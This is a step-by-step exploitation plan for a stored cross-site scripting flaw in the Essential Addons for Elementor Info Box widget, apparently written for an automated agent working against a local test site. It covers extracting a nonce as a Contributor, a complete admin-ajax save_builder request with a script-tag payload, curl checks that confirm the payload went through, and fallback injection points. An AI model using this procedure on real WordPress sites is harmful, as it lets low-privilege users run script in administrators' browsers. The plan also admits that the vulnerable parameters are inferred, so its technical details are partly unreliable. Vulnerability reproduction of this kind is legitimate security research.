Research Plan: CVE-2026-1512 - Stored XSS in Essential Addons for Elementor Info Box

1. Vulnerability Summary

The Essential Addons for Elementor plugin (versions <= 6.5.9) is vulnerable to Stored Cross-Site Scripting (XSS) via the Info Box widget. This occurs because the plugin fails to properly sanitize or escape user-supplied attributes before rendering them in the HTML output. An authenticated attacker with Contributor-level permissions (who can create or edit posts and use Elementor widgets) can inject a malicious script into a widget setting. When the post is saved and subsequently viewed by any user, including an administrator, the script executes in their browser context.

2. Attack Vector Analysis

• Vulnerable Widget: Info Box (eael-info-box)
• Vulnerable Parameters (inferred): title, description_text, or link attributes (e.g., infobox_link).
• Authentication Requirement: Authenticated (Contributor or higher).
• Endpoint: wp-admin/admin-ajax.php using the elementor_ajax action.
• Preconditions: The Essential Addons for Elementor plugin must be active, and the Contributor user must have permission to edit posts with Elementor (standard default).

3. Code Flow

1. Entry Point: A user with Contributor access edits a post using the Elementor editor.
2. Data Submission: The editor sends a JSON-encoded representation of the page layout to the elementor_ajax action. This JSON contains the widget settings for the eael-info-box widget.
3. Storage: WordPress/Elementor saves this JSON data in the _elementor_data post meta field.
4. Processing (Vulnerable Sink): When a user views the post, Elementor initializes the EAEL widget class (likely EAEL_Info_Box in includes/Elements/Info_Box.php).
5. Rendering: The render() method of the widget class is called. It retrieves settings using $this->get_settings_for_display().
6. Execution: The code echoes a setting (e.g., echo $settings['title'];) without wrapping it in esc_html(), esc_attr(), or wp_kses_post(), leading to XSS.

4. Nonce Acquisition Strategy

To save Elementor content via the REST/AJAX API as a Contributor, we need the elementor_ajax nonce.

1. Shortcode/Trigger: Elementor widgets are active when the Elementor editor is loaded or on pages rendered by Elementor.
2. Page Creation: Create a dummy post and enable Elementor:

   wp post create --post_type=post --post_status=publish --post_title="XSS Test" --post_author=CONTRIBUTOR_ID
   

3. Navigation: Navigate to the Elementor Editor for that post as the Contributor.
4. Nonce Extraction: Use browser_eval to extract the nonce from the Elementor configuration object.
   • Variable: window.elementorCommon?.config?.ajax?.nonce or window.elementorConfig?.ajax?.nonce.
   • Editor Context: The nonce is typically localized within the elementor-editor-js script handles.

5. Exploitation Strategy

Step 1: Authentication & Setup

1. Identify the Contributor user ID.
2. Use browser_navigate to log in as the Contributor.

Step 2: Nonce Extraction

1. Create a post and open the Elementor editor URL: wp-admin/post.php?post=POST_ID&action=elementor.
2. Execute browser_eval to get the nonce:

   window.elementorCommon.config.ajax.nonce
   

Step 3: Payload Delivery

The exploit involves sending a save_builder request to admin-ajax.php.

Request Details:

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • action: elementor_ajax
  • _nonce: [EXTRACTED_NONCE]
  • actions: A JSON string containing the payload.

Payload JSON structure:

{
  "save_builder": {
    "action": "save_builder",
    "data": {
      "status": "publish",
      "elements": [
        {
          "id": "random_id_1",
          "elType": "section",
          "elements": [
            {
              "id": "random_id_2",
              "elType": "column",
              "elements": [
                {
                  "id": "random_id_3",
                  "elType": "widget",
                  "widgetType": "eael-info-box",
                  "settings": {
                    "title": "<script>alert('CVE-2026-1512-XSS')</script>",
                    "description_text": "Normal description"
                  }
                }
              ]
            }
          ]
        }
      ]
    }
  }
}

Step 4: Verification

1. Access the published post URL using http_request.
2. Check if the response body contains the unescaped script tag: <script>alert('CVE-2026-1512-XSS')</script>.

6. Test Data Setup

1. User: Create a user with the contributor role.
2. Plugin: Ensure essential-addons-for-elementor-lite version 6.5.9 is installed and activated.
3. Elementor: Ensure Elementor is installed (dependency of the plugin).

7. Expected Results

• The elementor_ajax request should return a 200 OK with a success JSON response.
• When viewing the post at /?p=POST_ID, the browser should execute the alert() function (or the raw script should be present in the HTML source).

8. Verification Steps

1. Check DB: Use WP-CLI to verify the payload is stored in the post meta:

   wp post meta get [POST_ID] _elementor_data
   

2. Source Inspection: Verify the absence of escaping:

   curl -s "http://localhost:8080/?p=[POST_ID]" | grep "CVE-2026-1512-XSS"
   

9. Alternative Approaches

If title is sanitized in version 6.5.9, try other Info Box attributes:

• description_text
• infobox_link (Targeting the url field or link attributes if they allow " breakout).
• eael_ins_box_icon_type (If it permits arbitrary string injection into a class attribute).

If save_builder fails due to strict schema checking, use the wp_ajax_elementor_save_builder action if available, or try updating the post meta directly via a standard WordPress post update if the contributor has sufficient permissions for that specific meta key.